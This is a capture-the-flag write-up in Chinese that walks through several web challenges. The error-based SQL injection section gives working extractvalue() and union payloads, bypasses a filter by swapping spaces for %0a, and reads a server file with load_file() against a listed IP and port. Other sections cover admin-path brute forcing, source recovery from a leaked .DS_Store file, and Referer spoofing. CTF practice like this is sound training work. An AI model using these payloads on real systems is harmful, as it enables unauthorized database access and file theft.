wordpress
爆破得到后台登陆路径phpmyadmin,然后用在博客里面找到的账号密码登陆,然后在数据库里找到flag
报错注入
注入语句的格式为http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2,3 from(select+count(*),concat(floor(rand(0)*2),(SQL语句))a from information_schema.tables group by a)b%23或者http://127.0.0.1/index.php?id=1 and extractvalue(1, concat(0x7e, (sql语句),0x7e))。这里union被过滤,所以用第二个。空格被过滤,但是可以用换行代替,换行的url编码为%0a
先构造http://103.238.227.13:10088/?id=1%0aand%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e))试试能不能成功注入,报错显示可以。提示告诉我们需要查询文件,而且路径已经给了我们,所以需要用到load_file函数。load_file函数参数是十六进制或者是ASC编码,所以需要把路径转换为十六进制0x2F7661722F746573742F6B65795F312E706870,然后试试。
不能直接返回。那就试试用hex函数,返回十六进制的,由于extractvalue最多读取32位,显然32个并不能全部返回我们需要的,所以用substr函数一段一段的截取。http://103.238.227.13:10088/?id=1%0aand%0aextractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795 f312e706870))%0afrom%0a1%0afor%0a20),0x7e)),从1开始,一次截取20个,然后把内容放入hex workspace解释为原文件。
sql注入2
打开是个登陆页面,随便输个账号试试
画面是这样的。url没有我们熟悉的注入格式,源码里也没有什么有用的信息,感觉无从下手。那就扫一扫目录?用dirsearch扫一下是这样的
第一个是.DS_Store 典型的源码泄漏...... 然后下载一个ds_store_exp.py工具下载下来源码
直接访问就可以得到flag
你从哪里来
打开链接之后,页面询问是否来自google,那就抓包改referer,我尝试了 https://www.google.com.hk/ http://www.google.com/最后才发现原来是https://www.google.com